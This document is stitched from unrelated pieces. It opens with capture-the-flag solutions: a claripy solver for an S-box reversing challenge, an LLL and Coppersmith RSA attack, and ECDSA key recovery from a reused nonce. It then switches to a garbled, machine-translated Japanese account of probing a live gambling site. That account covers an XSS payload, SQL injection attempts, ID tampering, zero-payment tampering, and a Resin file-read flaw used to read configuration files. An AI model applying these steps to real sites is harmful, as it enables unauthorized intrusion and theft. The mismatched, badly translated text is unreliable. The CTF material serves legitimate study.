0x97, 0x2D, 0x42, 0xA8, 0x2E, 0x1F, 0x54, 0xEC, 0x22, 0x69, 0x27, 0xDC, 0x5A, 0x0C, 0x90,
0xA9, 0x7C, 0x20, 0xB1, 0x0D, 0xCD, 0x03, 0x8A, 0xD6, 0x79, 0xE6, 0x35, 0xB6, 0x18, 0x96,
0x06, 0x08, 0xA5, 0xAD, 0xB8, 0x61, 0x5B, 0x1E, 0x0B, 0xF2, 0x8D, 0x36, 0xCA, 0x59, 0xE3,
0xC6, 0x39, 0x95, 0x8C, 0xFB, 0xCF, 0x6C, 0x51, 0x6D, 0x10, 0x01, 0x91, 0x68, 0x6E, 0xBB,
0x2B, 0x8E, 0x29, 0x64, 0xBD, 0xF1, 0xAC, 0xC1, 0x9A, 0x70, 0x5D, 0x02, 0xC8, 0xD5, 0x38,
0xAE, 0xE4, 0xB7, 0xDD, 0x55, 0xFA, 0xB4, 0x9E, 0xF7, 0xC4, 0x40, 0xE1, 0x73, 0xCB, 0x92,
0xD8, 0xEE, 0x6F, 0x6A, 0x1D, 0xC0, 0x71, 0x4D, 0x15, 0x1B, 0x45, 0x43, 0xA1, 0x3F, 0x9D,
0xBF, 0x7E, 0x7A, 0x5E, 0x25, 0x9F, 0x93, 0xAA, 0xE7, 0x14, 0x1A, 0x28, 0x99, 0x3D, 0xFD,
0xF0, 0x98, 0xEF, 0x3E, 0xD2, 0xD7, 0xAF, 0x17, 0x88, 0xFF, 0x12, 0x9C, 0x0F, 0x89, 0x05,
0x50, 0xED, 0xA2, 0xB0, 0x52, 0x21, 0xFC, 0x7D, 0x82, 0xB2, 0x8B, 0x83, 0xEB, 0x4F, 0x60,
0xF6, 0x47, 0x57, 0xC7, 0xCC, 0xF5, 0x72, 0x86, 0x41, 0xF3, 0x1C, 0xA0, 0x75, 0xBE, 0xC2,
0x53, 0xFE, 0x04, 0x63, 0xCE, 0x37, 0x3C, 0x6B, 0xD9, 0x9B, 0xDF, 0xA6, 0x24, 0x34, 0x78,
0x81, 0x0A, 0xF8, 0x11, 0x80, 0x44, 0xD3, 0xDA, 0x5C, 0xB3, 0x85, 0x16, 0x30, 0x3B, 0x4C,
0xC9, 0x94, 0xD0, 0x3A, 0xDB, 0x33, 0xB5, 0x76, 0xE5, 0x87, 0x46, 0x07, 0xE9, 0x2C, 0xA3,
0x32, 0xA4, 0x00, 0xE2, 0x58, 0xBC, 0x49, 0x7B, 0x5F, 0x84, 0x31, 0xD1, 0x62, 0xF9, 0x65,
0x7F, 0x8F, 0x56, 0x77, 0x48, 0xE0, 0xF4, 0xA7, 0x4E, 0xC5, 0xD4, 0x76, 0x49, 0x26, 0x0C,
0xD3, 0xCE, 0xC8, 0x9E, 0x01, 0x71, 0xDC, 0x5B, 0xA6, 0x8E, 0xCA, 0x6E, 0xAA, 0xEB, 0x24,
0xC0, 0x50, 0x79, 0x44, 0x56, 0xAC, 0x95, 0x38, 0x12, 0x92, 0x74, 0xFE, 0x46, 0x1D, 0x2D,
0xB3, 0xA4, 0xC5, 0xFD, 0x9F, 0x1B, 0xB2, 0x87, 0x1E, 0x86, 0x81, 0x23, 0x3E, 0x19, 0xB4,
0x67, 0x75, 0x8B, 0x9B, 0xE0, 0x00, 0x3B, 0xF4, 0x31, 0xE4, 0xC7, 0x05, 0xEA, 0xA1, 0x7B,
0x82, 0x3D, 0x35, 0x54, 0x97, 0xD9, 0x0A, 0xBD, 0x8F, 0x40, 0xED, 0xF8, 0xEF, 0x7C, 0x4F,
0xA7, 0x68, 0xA0, 0xB6, 0x11, 0xBB, 0x60, 0x59, 0xA5, 0xE7, 0x77, 0xDA, 0x53, 0x83, 0xD2,
0x9D, 0x18, 0x17, 0x99, 0x57, 0x41, 0xCF, 0x5D, 0xD1, 0x5E, 0x9C, 0xEC, 0xFB, 0xB9, 0x9A,
0xD0, 0x98, 0xB0, 0xC6, 0x21, 0xB1, 0x91, 0xC1, 0xF7, 0x72, 0xAB, 0x70, 0x34, 0x51, 0xF6,
0x6B, 0xDB, 0x28, 0x4A, 0xF5, 0xB8, 0x90, 0xCB, 0x2A, 0x09, 0x7D, 0x80, 0xC3, 0x61, 0x48,
0xB7, 0x2E, 0xAE, 0x36, 0xD5, 0xA8, 0x5C, 0xD8, 0x22, 0x07, 0x39, 0x8D, 0x65, 0x16, 0x8A,
0x10, 0x66, 0x6D, 0x3F, 0xF1, 0xF2, 0x64, 0x20, 0xE6, 0x2B, 0x43, 0xF0, 0xDE, 0x1F, 0x93,
0xFF, 0x84, 0x06, 0x63, 0x30, 0xBF, 0xAD, 0x7E, 0x4C, 0x85, 0x02, 0xBA, 0xE5, 0x4D, 0x14,
0x4B, 0x04, 0x3A, 0x89, 0x0B, 0xEE, 0x4E, 0xD4, 0xC4, 0x15, 0x6A, 0x58, 0xB5, 0xCD, 0x55,
0x5A, 0x94, 0x52, 0xFC, 0x7A, 0x73, 0x96, 0x5F, 0x1C, 0x88, 0x6C, 0x37, 0xA9, 0x25, 0xA2,
0xDF, 0xE2, 0xDD, 0xFA, 0xD7, 0xCC, 0x0F, 0xAF, 0x69, 0x27, 0xC9, 0x7F, 0x08, 0x32, 0x45,
0x6F, 0xA3, 0x0E, 0x47, 0x2F, 0xC2, 0xE3, 0xBE, 0xF9, 0x29, 0xBC, 0x3C, 0xE1, 0x42, 0xD6,
0x03, 0x8C, 0xE9, 0x62, 0xF3, 0xE8, 0x33, 0x0D, 0x2C, 0x78, 0x13, 0x1A, 0xF0, 0xF7, 0xDC,
0x60, 0x75, 0xB0, 0x86, 0x0E, 0xAD, 0xB6, 0x71, 0x62, 0x77, 0x23, 0xFD, 0x9C, 0xAE, 0x7A,
0x97, 0x76, 0x82, 0xFC, 0xBA, 0x17, 0x89, 0xA0, 0x01, 0x31, 0x78, 0x91, 0x04, 0x9B, 0xA3,
0xEA, 0x42, 0x19, 0x83, 0xD5, 0xD0, 0xD2, 0x5E, 0xF5, 0x0B, 0xF3, 0x7E, 0x27, 0xE9, 0x73,
0x26, 0xF6, 0x8A, 0x99, 0xB1, 0x8D, 0x7C, 0x1F, 0x2B, 0x9F, 0x2E, 0x9E, 0x07, 0xF9, 0xBF,
0x57, 0x8B, 0xE6, 0x9D, 0x13, 0x94, 0xF2, 0x67, 0x69, 0x05, 0xC0, 0x64, 0xBE, 0xFE, 0xEC,
0xD9, 0x65, 0x2C, 0x15, 0xAF, 0x38, 0x09, 0xA9, 0x10, 0xCD, 0x53, 0x8F, 0x37, 0x63, 0xB5,
0xC4, 0xC8, 0xCC, 0x29, 0x49, 0x43, 0xDF, 0x6C, 0x5A, 0xF8, 0x47, 0x1B, 0xE1, 0xEB, 0x8E,
0x70, 0x45, 0x59, 0xAA, 0x03, 0x18, 0x34, 0xC7, 0x39, 0xD8, 0x7F, 0x54, 0x3D, 0x8C, 0xB8,
0x16, 0x7D, 0xFF, 0xB4, 0xD3, 0xE7, 0x90, 0xA4, 0x0C, 0x80, 0x50, 0x25, 0x6B, 0x3E, 0xBC,
0xC1, 0xDA, 0xCA, 0xE0, 0xAC, 0x3A, 0x5D, 0x21, 0xA2, 0x81, 0xD1, 0x08, 0x33, 0x93, 0xDD,
0x06, 0xAB, 0x35, 0xA5, 0x00, 0x1A, 0xED, 0x55, 0xEF, 0x98, 0x4C, 0xB7, 0x7B, 0x61, 0x2F,
0x85, 0xE8, 0x87, 0x5C, 0x0D, 0x24, 0x0F, 0xCE, 0x6F, 0xD6, 0x66, 0x4F, 0xDB, 0x5B, 0x1C,
0x46, 0xDE, 0x79, 0x44, 0x5F, 0xC3, 0x4A, 0x6A, 0xF4, 0x56, 0x6D, 0xEE, 0xBD, 0x41, 0x28,
0xC6, 0x3B, 0x30, 0xCF, 0x74, 0x32, 0x1E, 0x0A, 0xFB, 0x20, 0xB2, 0x40, 0x48, 0xF1, 0x22,
0xE4, 0x52, 0x96, 0x2A, 0xFA, 0x72, 0x84, 0x3F, 0x14, 0xA8, 0x9A, 0xA1, 0xBB, 0x36, 0xB9,
0xA7, 0x95, 0xC9, 0x6E, 0x2D, 0xD4, 0xC2, 0xE5, 0x88, 0xD7, 0x68, 0x4E, 0xCB, 0x58, 0xB3,
0x3C, 0x11, 0x12, 0xE2, 0x51, 0x4D, 0x4B, 0xE3, 0xA6, 0x02, 0xC5, 0x1D, 0x92, 0xC1, 0xB1,
0xE9, 0x30, 0x6B, 0xB7, 0xFC, 0x2F, 0x65, 0x8A, 0x31, 0x63, 0x56, 0x80, 0xF5, 0x7B, 0xF0,
0xA1, 0x42, 0xCA, 0x27, 0xA6, 0x0A, 0x3D, 0x59, 0xB2, 0x76, 0x08, 0xDE, 0xC2, 0x33, 0xEB,
0x6F, 0xCB, 0x21, 0x40, 0xD5, 0x5D, 0x4E, 0x60, 0x44, 0x9E, 0x46, 0x4D, 0x8F, 0xE4, 0x8D,
0x15, 0xCF, 0x68, 0x5E, 0xE6, 0xE7, 0x90, 0x86, 0x55, 0xB5, 0x8C, 0xDC, 0x67, 0x91, 0xFF,
0x48, 0x6A, 0x6D, 0x1F, 0x14, 0x89, 0x39, 0x05, 0x0E, 0x82, 0x41, 0xE0, 0x20, 0xF9, 0xCC
0xEC, 0xE1, 0x8B, 0x97, 0xFE, 0x3C, 0x6E, 0xB0, 0xBD, 0x22, 0x1E, 0xFA, 0x4B, 0x04, 0x73,
0xFD, 0xD6, 0x07, 0x9F, 0x3E, 0x99, 0x2E, 0xED, 0x95, 0x7C, 0x35, 0xC3, 0x77, 0xAA, 0x87,
0xD1, 0x01, 0x78, 0x3A, 0xA8, 0xC4, 0xBF, 0x53, 0xFB, 0x5A, 0x2B, 0xD4, 0x45, 0xAC, 0xA0,
0xCE, 0xBC, 0x50, 0x1C, 0xF7, 0xC8, 0x4A, 0xBE, 0x23, 0x0D, 0xDD, 0xB8, 0xF2, 0x12, 0xDF,
0x28, 0x69, 0x9A, 0xB3, 0x54, 0xE2, 0xF1, 0x92, 0xE3, 0x36, 0xF3, 0x25, 0xA3, 0xE8, 0x1A,
0x19, 0x37, 0x9D, 0x02, 0x38, 0xA9, 0xE5, 0x3F, 0xDB, 0xC6, 0xB6, 0x57, 0xB9, 0x5B, 0x84,
0xAD, 0xA4, 0x0F, 0x26, 0x49, 0xDA, 0x18, 0x00, 0x2D, 0xC5, 0xD7, 0xAF, 0x93, 0xC7, 0x3B,
0x11, 0x13, 0x32, 0x94, 0xAE, 0x10, 0x51, 0x0C, 0xD9, 0x7F, 0x24, 0x43, 0x7D, 0x8E, 0xAB,
0x98, 0x75, 0xD8, 0x71, 0xEA, 0x09, 0x96, 0x29, 0xF8, 0xEE, 0x81, 0x6C, 0xD3, 0x62, 0x7A,
0xC9, 0x88, 0xD2, 0x66, 0x64, 0x5F, 0x0B, 0xEF, 0xA7, 0xA5, 0x79, 0x9B, 0x2A, 0x52, 0x58,
0xA2, 0x47, 0x4F, 0x4C, 0x5C, 0x2C, 0x72, 0xCD, 0xC0, 0x70, 0x85, 0x61, 0x1D, 0x74, 0xD0,
0xBB, 0x9C, 0x34, 0x7E, 0x03, 0xBA, 0x17, 0xF4, 0x16, 0xB4, 0xF6, 0x83, 0x06, 0x1B, 0x9E,
0x54, 0xDC, 0x3F, 0x12, 0xF4, 0x72, 0x22, 0xA0, 0x43, 0xE1, 0xB5, 0xD6, 0xE8, 0xEE, 0x0C,
0xBD, 0xA3, 0xCE, 0x9D, 0xEA, 0x3A, 0xD4, 0x29, 0x1C, 0xF1, 0x5D, 0x64, 0x53, 0xB7, 0xFE,
0x0B, 0x84, 0x13, 0x14, 0x03, 0xE5, 0x57, 0x68, 0x17, 0xDB, 0x86, 0xB4, 0x0F, 0x45, 0x34,
0x2A, 0x69, 0xE0, 0x4B, 0xD8, 0x0D, 0x42, 0xB8, 0x6B, 0x5B, 0xEB, 0x06, 0xF7, 0x81, 0x27,
0xB6, 0xA6, 0x0A, 0x6D, 0x9A, 0xA4, 0x44, 0x11, 0x8F, 0x31, 0x59, 0x62, 0x41, 0x32, 0x07,
0x93, 0x30, 0x1B, 0x89, 0x3B, 0x23, 0x76, 0xC6, 0xE2, 0x38, 0x65, 0xC0, 0xC2, 0xB1, 0xFB,
0x58, 0x67, 0xCB, 0x94, 0x50, 0x1D, 0x4F, 0x92, 0xF0, 0x77, 0xBF, 0x4E, 0x49, 0xD9, 0xCA,
0x9C, 0x1F, 0x8C, 0xD0, 0x6A, 0x8D, 0x10, 0x40, 0x5C, 0x00, 0xC1, 0xDD, 0x51, 0xFA, 0xAF,
0xC9, 0xA2, 0x2F, 0x33, 0x82, 0xA1, 0xE3, 0xA7, 0x7F, 0x04, 0x56, 0xB0, 0xF2, 0x21, 0x09,
0x55, 0x80, 0x61, 0xDA, 0xBA, 0x18, 0xA8, 0x8E, 0x16, 0x4C, 0xB2, 0x28, 0x7D, 0x5A, 0xAD,
0xAB, 0x3C, 0x75, 0xCD, 0x9F, 0xD2, 0xC3, 0x6C, 0x4D, 0x48, 0xDE, 0x91, 0xBC, 0x66, 0xA9,
0xC4, 0x71, 0xF6, 0x6E, 0x37, 0x79, 0x08, 0xF5, 0x1E, 0xD5, 0xE4, 0xF3, 0xCC, 0xD7, 0x35,
0xEF, 0x2D, 0xB3, 0x15, 0x4A, 0x36, 0x26, 0x19, 0xB9, 0x90, 0x0E, 0x70, 0xF8, 0x3D, 0x7E,
0x97, 0x99, 0xAA, 0x2E, 0x2C, 0x9B, 0x47, 0x25, 0x52, 0x3E, 0xC7, 0x88, 0x7A, 0x8A, 0xD1,
0xAC, 0xE7, 0x05, 0x20, 0x63, 0xDF, 0x60, 0x24, 0xCF, 0x78, 0x02, 0x74, 0xAE, 0xF9, 0xC8,
0x46, 0x98, 0x87, 0x39, 0x5F, 0x83, 0x8B, 0xE6, 0xD3, 0x85, 0xE9, 0xEC, 0x7B, 0x01, 0x1A,
0xA5, 0x7C, 0x95, 0x73, 0x5E, 0xFF, 0xFC, 0xBE, 0x96, 0xFD, 0xED, 0x6F, 0x2B, 0xC5, 0xBB,
0x17, 0x27, 0x58, 0x39, 0x7D, 0xF0, 0x13, 0xD0, 0xA6, 0xE1, 0xBB, 0xB9, 0x00, 0x96, 0x9D,
0x01, 0xCF, 0x18, 0x70, 0xAB, 0x56, 0xE2, 0x5B, 0x1C, 0xF9, 0x6E, 0x49, 0xE8, 0xF5, 0xAC,
0xDB, 0x03, 0x59, 0x5C, 0xAD, 0x0E, 0xA0, 0xC2, 0xDE, 0x5F, 0x69, 0x33, 0x0D, 0xE4, 0x74,
0xB1, 0x7E, 0xAF, 0x24, 0x61, 0x04, 0x88, 0x77, 0x3C, 0x2C, 0x3B, 0xA9, 0xB6, 0xD8, 0x82,
0xA2, 0x37, 0x30, 0xC0, 0xD3, 0x06, 0x7C, 0x2A, 0xBA, 0xAA, 0x19, 0x0A, 0x55, 0x78, 0x8D,
0x54, 0x72, 0x93, 0x20, 0xFC, 0x22, 0xF2, 0x1A, 0x8A, 0x92, 0x94, 0x6F, 0x15, 0xB4, 0x02,
0x42, 0x09, 0x2F, 0x26, 0xCC, 0xD4, 0xB7, 0x5D, 0xD7, 0x83, 0xBC, 0x9E, 0xE7, 0x4F, 0x7B,
0x9B, 0xF4, 0x46, 0x6B, 0x95, 0x36, 0x1B, 0xC6, 0xBE, 0x34, 0x2B, 0x4D, 0x25, 0x62, 0xD2,
0xE3, 0x29, 0xE6, 0x08, 0x4E, 0x71, 0x4C, 0xDA, 0xEC, 0x41, 0xDC, 0xC3, 0x51, 0x4A, 0xC8,
0x6C, 0x66, 0xEE, 0x86, 0xEB, 0xF8, 0x0B, 0xCD, 0xD6, 0x68, 0x10, 0x85, 0x14, 0x28, 0x7A,
0x60, 0x2D, 0xCB, 0xED, 0x52, 0x67, 0x84, 0x38, 0x0F, 0x89, 0x11, 0x91, 0x23, 0xBF, 0xAE,
0xBD, 0xB2, 0x1F, 0x7F, 0x99, 0x79, 0x65, 0x21, 0x1D, 0x73, 0x8E, 0x45, 0xA8, 0xF7, 0xC5,
0x6A, 0x35, 0x57, 0x32, 0x8B, 0x47, 0xC7, 0x48, 0xB8, 0x43, 0x8F, 0x98, 0xC4, 0xFA, 0xDD,
0x76, 0x0C, 0x05, 0xFF, 0xD9, 0xC1, 0xB0, 0x97, 0xD5, 0x16, 0xFD, 0xD1, 0xF3, 0x9C, 0x64,
0xB5, 0x07, 0xA4, 0x2E, 0x5E, 0x12, 0x75, 0xFE, 0x44, 0xF6, 0x1E, 0x8C, 0x80, 0xA3, 0x6D,
0xE5, 0x90, 0xB3, 0xE0, 0x3D, 0xCA, 0xEA, 0xA5, 0xC9, 0xCE, 0xA1, 0xEF, 0x53, 0xFB, 0xF1,
0x50, 0x5A, 0xE9, 0x31, 0x9F, 0x3E, 0x63, 0x9A, 0x3F, 0x87, 0x3A, 0xDF, 0x81, 0x40, 0xA7,
0x4B]
inv_sbox = [0]*0x100
def do_subs(x):
for i in [25, 21, 16, 27 , 4, 10, 23, 7]:
x = sbox[i*0x100+x]
return x
def gen_inv_sbox():
input_data = list(range(0x100))
for j in range(0x100):
input_data[j] = do_subs(input_data[j])
# print(input_data)
for i in range(0x100):
inv_sbox[i] = input_data.index(i)
gen_inv_sbox()
flag = [claripy.BVS('', 32) for i in range(22)]
solve = claripy.Solver()
for i in range(len(flag)):
solve.add(flag[i] >= 0)
solve.add(flag[i] < 0x100)
solve.add(159947*flag[0]-17274276==0)
solve.add(4294891102*flag[1]-288728*flag[0]+36973368==0)
solve.add(-247146*flag[1]-291401*flag[0]-166371*flag[2]+75709167==0)
solve.add(-1741*flag[1]+218084*flag[3]+280814*flag[0]-149372*flag[2]-33947928==0)
solve.add(174323*flag[3]+136024*flag[2]-141923*flag[1]-
301049*flag[4]+323059*flag[0]-53238195==0)
solve.add(-12269*flag[3]+286713*flag[1]-78320*flag[0]+301362*flag[2]+269836*flag[5]-
255324*flag[4]-99312448==0)
solve.add(-103798*flag[2]+201146*flag[5]-285406*flag[3]-188094*flag[4]-
104025*flag[0]-50098*flag[1]-109789*flag[6]+50727897==0)
solve.add(117443*flag[7]+275692*flag[3]+349275*flag[1]-
381943*flag[2]+332376*flag[4]-269146*flag[5]+222994*flag[6]-
267344*flag[0]+9817748==0)
solve.add(19156*flag[6]+-281586*flag[7]-168850*flag[0]+363716*flag[3]-
32886*flag[1]+44299*flag[4]+170590*flag[8]+81061*flag[5]+201865*flag[2]-
32987442==0)
solve.add(22459*flag[6]+-80349*flag[1]+239015*flag[5]-42367*flag[9]-113712*flag[7]-
146568*flag[2]+241696*flag[3]+232212*flag[0]-162511*flag[8]+61621*flag[4]-
41031017==0)
solve.add(-1754*flag[0]+128062*flag[7]-329492*flag[3]-167316*flag[2]-
178991*flag[4]+186377*flag[10]+307270*flag[6]-
328477*flag[8]+248665*flag[1]+374863*flag[9]+373711*flag[5]-86829517==0)
solve.add(11843*flag[5]+17087*flag[3]-35818*flag[0]-182330*flag[7]-354816*flag[4]-
126036*flag[2]+114656*flag[8]-90442*flag[9]+330888*flag[11]+78226*flag[10]-
260641*flag[1]+105414*flag[6]+63250156==0)
solve.add(7469*flag[9]+6283*flag[11]+-
87345*flag[2]+248111*flag[5]+213581*flag[4]+89194*flag[8]+36305*flag[6]+98667*flag[
1]+300755*flag[12]+191415*flag[7]+350540*flag[0]+359565*flag[10]-185365*flag[3]-
165783260==0)
solve.add(8209*flag[8]+131781*flag[1]+152898*flag[0]+40158*flag[11]-86271*flag[12]-
105755*flag[6]+264037*flag[3]-130948*flag[10]-243572*flag[7]-48159*flag[2]-
269443*flag[9]-376534*flag[5]-67954*flag[4]-119669*flag[13]+117580744==0)
solve.add(-3429*flag[6]+102230*flag[5]+126967*flag[10]-344174*flag[8]-
225911*flag[11]+118364*flag[14]-72044*flag[1]+280519*flag[0]-241789*flag[2]-
274918*flag[9]-91055*flag[12]-122403*flag[3]+118907*flag[7]-
34240*flag[13]+240524*flag[4]+35507568==0)
solve.add(-24137*flag[9]+28203*flag[13]+150213*flag[1]+311204*flag[0]-
94750*flag[7]+130029*flag[2]-305057*flag[14]+176246*flag[5]-256662*flag[8]-
331010*flag[12]-301118*flag[4]-309379*flag[10]+187867*flag[3]-102250*flag[11]-
340412*flag[15]+144084*flag[6]+39635710==0)
solve.add(-27445*flag[12]+-289483*flag[10]-164045*flag[16]-
218276*flag[1]+183266*flag[3]-311967*flag[8]-55127*flag[14]-211824*flag[13]-
375628*flag[9]-201931*flag[0]-324618*flag[4]+52026*flag[6]+93926*flag[5]-
105199*flag[7]-254102*flag[15]-159881*flag[11]+378091*flag[2]+106013500==0)
# solve.add(
# 27619 * flag[4]
# + 9873 * flag[1]
# + -23276 * flag[8]
# + -196254 * flag[9]
# + 181235 * flag[0]
# + 150865 * flag[16]
# - 148807 * flag[14]
# - 272020 * flag[17]
# - 346803 * flag[2]
# - (flag[3] | (flag[3] << 16 == 0) == 0)
# + 132879 * flag[10]
# + 239833 * flag[6]
# - 151023 * flag[11]
# + 224631 * flag[12]
# + 294607 * flag[5]
# - 362447 * flag[7]
# - 110250 * flag[15]
# + 153229 * flag[13]
# + 56953741 == 0)
solve.add(-1159*flag[1]+6659*flag[6]+-
25875*flag[7]+80743*flag[10]+38124*flag[9]+40844*flag[13]-
259165*flag[12]+340584*flag[16]+107346*flag[2]-124400*flag[8]-34846*flag[11]-
338119*flag[17]-220860*flag[5]+167374*flag[3]+71134*flag[15]-143594*flag[14]-
115172*flag[4]-104789*flag[0]+108066*flag[18]+50659353==0)
solve.add(-26438*flag[19]+14055*flag[10]+31477*flag[12]+-
179950*flag[4]+79775*flag[17]+70516*flag[5]+330549*flag[2]+169852*flag[11]+51486*fl
ag[7]+123944*flag[13]-370154*flag[14]-132851*flag[18]+237187*flag[3]-89341*flag[9]-
256083*flag[1]+317327*flag[0]+42009*flag[15]+336122*flag[6]+128554*flag[8]-
205903*flag[16]-112255597==0)
solve.add(30250*flag[5]+127076*flag[16]-
218938*flag[0]+162996*flag[14]+141792*flag[12]-197967*flag[9]-247332*flag[4]-
286218*flag[7]-168508*flag[18]+300020*flag[2]-46255*flag[10]-
78960*flag[19]+213181*flag[6]-329333*flag[13]+126938*flag[8]-
266759*flag[11]+182266*flag[17]-41677*flag[1]+158645*flag[15]-
61925*flag[3]+67755*flag[20]-52014431==0)
solve.add(-281*flag[0]+10712*flag[19]+14584*flag[4]+-167168*flag[13]+308120*flag[7]-
233003*flag[8]+114047*flag[14]+330767*flag[10]-71246*flag[6]-
259485*flag[2]+374645*flag[21]-
116397*flag[3]+64115*flag[20]+281339*flag[9]+321916*flag[15]-272240*flag[12]-
135149*flag[16]-288340*flag[18]+71833*flag[11]-233821*flag[1]-
223297*flag[17]+141256*flag[5]+17267952==0)
def test1(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = inv_sbox[x[i]]
return bytes(a)
def test2(x):
a = bytearray(len(x))
for i in range(len(x)):
a[i] = do_subs(x[i])
return bytes(a)
for x in solve.batch_eval(flag, 4):
x = bytes(x)
print(test1(x))
# flag: flag{HM_l1c3nc3_0k!!!}

四、Crypto

1.5_vgcd

K * v = tv.T * K.T = t.T用第一组t1搞LLL得到一个K.T,然后v.T = solve_left(K.T,t.T)接着在v.T里面遍历,爆破r,取gcd,根据长度是素性得到pp,然乎copper搞一下,解rsa得到flag。
with open("output7.txt") as f:
 data = f.read().split("\n")

n = eval(data[0])
c = eval(data[1])
t1 = eval(data[2])
t2 = eval(data[3])

M = Matrix(t1)
K = M.LLL()[-3:]

s = K.solve_left(M[:3])
for ss in s:
    a = abs(ss[0])
    b = abs(ss[2])
    for i in range(2^6):
        for j in range(2^6):
            if gcd(a-i,b-j) > 2^10:
                print(gcd(a-i,b-j))

pp = 313246472203572238616195801879608898722966109482769416302463071823547244571165975167479

eta = 288
gamma = 512
P.<x> = PolynomialRing(Zmod(n))
f = x+pp*2^(gamma-eta)
r = int(f.small_roots(X = 2^(gamma-eta), beta = 0.4)[0])

p = f(r)

from Crypto.Util.number import *
long_to_bytes(pow(c,int(pow(0x10001,-1,p-1)),int(p)))

2.5_wb

#!/usr/bin/env python
# coding: utf-8
# In[1]:
from ecdsa import ecdsa as ec 
# In[2]:
r1 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[3]:
r2 = 0xBBDFAC1809250A2BB9415225F7C548CF8C03A5E100F95D52A4AA27F42A2F0FBE
# In[4]:
s1 = 0x77FB1A7C7FEA54A2A6C7E7535C28868C10549B831411F7A8EBB9F6DE1B4ADDF6
# In[5]:
s2 = 0x31213DACD2339525C292FC69F8F828D23A3CA73567BACD8EA2ECE8BF653E97F6
# In[6]:
h1 = 0
# In[7]:
h2 = 0x1000000000000000000000000000000000000000000000000000000000000000
# In[11]:
g = ec.generator_256
n = g.order()
# In[12]:
n
# In[13]:
N = 115792089210356248762697446949407573529996955224135760342422259061068512044369
# In[14]:
import gmpy2
# In[15]:
k=((h1-h2)*gmpy2.invert((s1-s2),n))%n
# In[16]:
k
# In[17]:
d=((s1*k-h1)*gmpy2.invert(r1,n))%n
# In[18]:
d
# In[19]:
import libnum
# In[20]:
libnum.n2s(int(2761328357323929781063385491249486142671766712847109466352079855419392))






1。誤ってほうれん草のサイトを見つけてからテストしました。アイデアは次のとおりです。ほうれん草のサイトであるため、ユーザーは間違いなく登録します。そうでなければ、どのようにお金を請求できますか?ユーザーと強く対話するページを登録する場合、脆弱性の可能性は次のとおりです。

SQLインジェクション:ユーザーが入力したアカウント情報が、フィルタリングなしでデータベースを書き込みまたはクエリするために直接使用されている場合、SQLインジェクションXSSが必要です。入力ボックスに入力された個人情報がユーザーのページに表示されます。同時に、管理者はバックグラウンドでユーザーの個人情報を表示する許可を持たなければならず、ここにストレージXSSがある場合があります。そのようなサイトにはカスタマーサービスがあるため、反射的またはDom XSSであっても、Cookieやその他の目的を盗む目的を達成するために、顧客をトリックしてリンクをクリックしてリンクをクリックする方法を見つけることができます。並行したオーバーライトの権利:ユーザーがログインし、ログイン後に特定のページをチェックしてからパケットをキャッチすると、同様のIDフィールドがある場合、ID番号CSRFを変更することにより、他のユーザーや管理者の情報が表示される場合があります。または、メールアドレスを変更してから、メールアドレスを介してパスワードを変更します。支払いの脆弱性:パケットをキャッチしてパラメーターを変更し、0元を支払います。このアイデアに従ってください。3つまたは7つか7つまたは2つのいずれかに関係なく、最初に登録ページを試すツールに移動します。結果は次のとおりです。

gjx4zlglzbj1866.png

(1)最初に2番目のものを見てみましょう。プロンプトパラメーターを検出ツールのペイロードに変更した後、ページは次のとおりです。ペイロードは実際にフィルタリングなしでページに表示されるので、とても幸せです。

l2woohptcwk1867.png

ペイロード自体はJS内にあるため、スクリプトタグは最初に作成されませんでしたが、「19736%0A」、}%0AALERT(666);%0A 'などのペイロードを直接使用しました。ペイロードの目的は、アラート(666)をバックグラウンドの元のスクリプトタグに直接公開することですが、それらの多くを繰り返し試すことはできませんでした。思考を調整して、スクリプトタグを再構築することしかできませんでした。今回は、次のように成功しました。これは、このXSSに誤ったアラームがないことを意味します。

pvs243o3fco1868.png

もう1つはクッキーにあります。 SessionIDが変更された場合、ページのHTMLソースコードにも直接表示される可能性があります。上記の最初のものと同様に、独自のJSコードを実行するためにスクリプトを構築できます。ただし、バックグラウンドソースコードがわからないため、これがストレージ型XSSであるかどうかを判断することはできず、他の人がURLの構築をクリックしてクリックすることはできません。私は個人的にそれがあまり意味がないと思うので、私はもうここでそれを確認しません。

0niyhopxmy51869.png

バックグラウンドにログインすることはできないため、他のXSSがストレージタイプであるかどうかはまだ不明です。この段階では、他のXSSの脆弱性を引き続き検証しません。

cumjx1tvu5u1870.png

(2)ログインインターフェイスがパケットをキャプチャし、ユーザー名とパスワードは実際にはプレーンテキスト、WTFで送信されます.

ih4of4b4lpe1871.png

手放した後、私は新しいパッケージをキャッチし、リピーターに入れて試してみてください。フィールドキャプチャがあります。これが検証コードです。削除した後、サーバーはとにかくそれを実行し、検証コードが間違っていることを促しませんが、ユーザー名またはパスワードが間違っているため、多くのトラブルが節約されます。最初に正しいアカウントを使用してテストし、返されたステータスがyであることがわかります。すべてが正常であることがわかります。

4kt4lbux2se1872.png

次に、単一の引用符、二重引用符、ブラケット、 ')または1=1でさまざまなSQL注入ペイロードを試してみます - QWEおよびその他のSQLインジェクション、そしてリターンは次のとおりです。

2ivly1eou2h1873.png

右側のネイティブコードの文字列は:です。「4〜15文字を入力してください。英語の文字と番号のみを入力できます」。フィルタリングすることは意図的であり、文字と数字のみを入力することができ、特別なシンボルを入力することはできません。また、SQL注入がここに存在しない可能性が高い。 (一部のWebサイトのフロントエンドページも説明しており、実際にバックエンドサーバー側でチェックされており、JSを使用してフロントエンドをチェックすることはできません。

nj0bf1dsot51874.png

(3)並列/垂直のオーバーリーチ:ログインした後、一部のサイトは、UID=123、GroupID=456、Telno=135000387465など、CookieにさまざまなIDをもたらします。フィールドの意味を簡単に確認でき、値を変更した後、他のユーザーのデータを確認します。しかし、ここのCookieはすべてセッションであり、さまざまな数字を持つフィールドは意味が何であるかを見ることができません。 Burpを使用してさまざまな値を試し、Status:Nを返します。これも従うことも不可能です。

(4)0 Yuan支払い:支払いインターフェイスでパケットをつかみ、リクエストパケットのコンテンツをデコードし、内部に別のサインフィールドがあることを確認し、他のフィールドがチェックされます。金額が変更された場合、検証アルゴリズムを逆にしてから、符号値を再計算する必要があります。ここでは一時的にあきらめます。 PS:user_idが最終的にここに公開されます。

ahehndo4ldk1875.png

3。Xrayスキャンを通じて、樹脂ビューファイルの脆弱性が見つかりました。

1rrlgobizis1876.png

ファイル=xxxxのコンテンツを変更するスキャンプロンプトによると、以下の構成ファイルなどのファイルを実際に見つけることができます。

upf1ihnz42k1877.png

ktmc1fcqnk21878.png
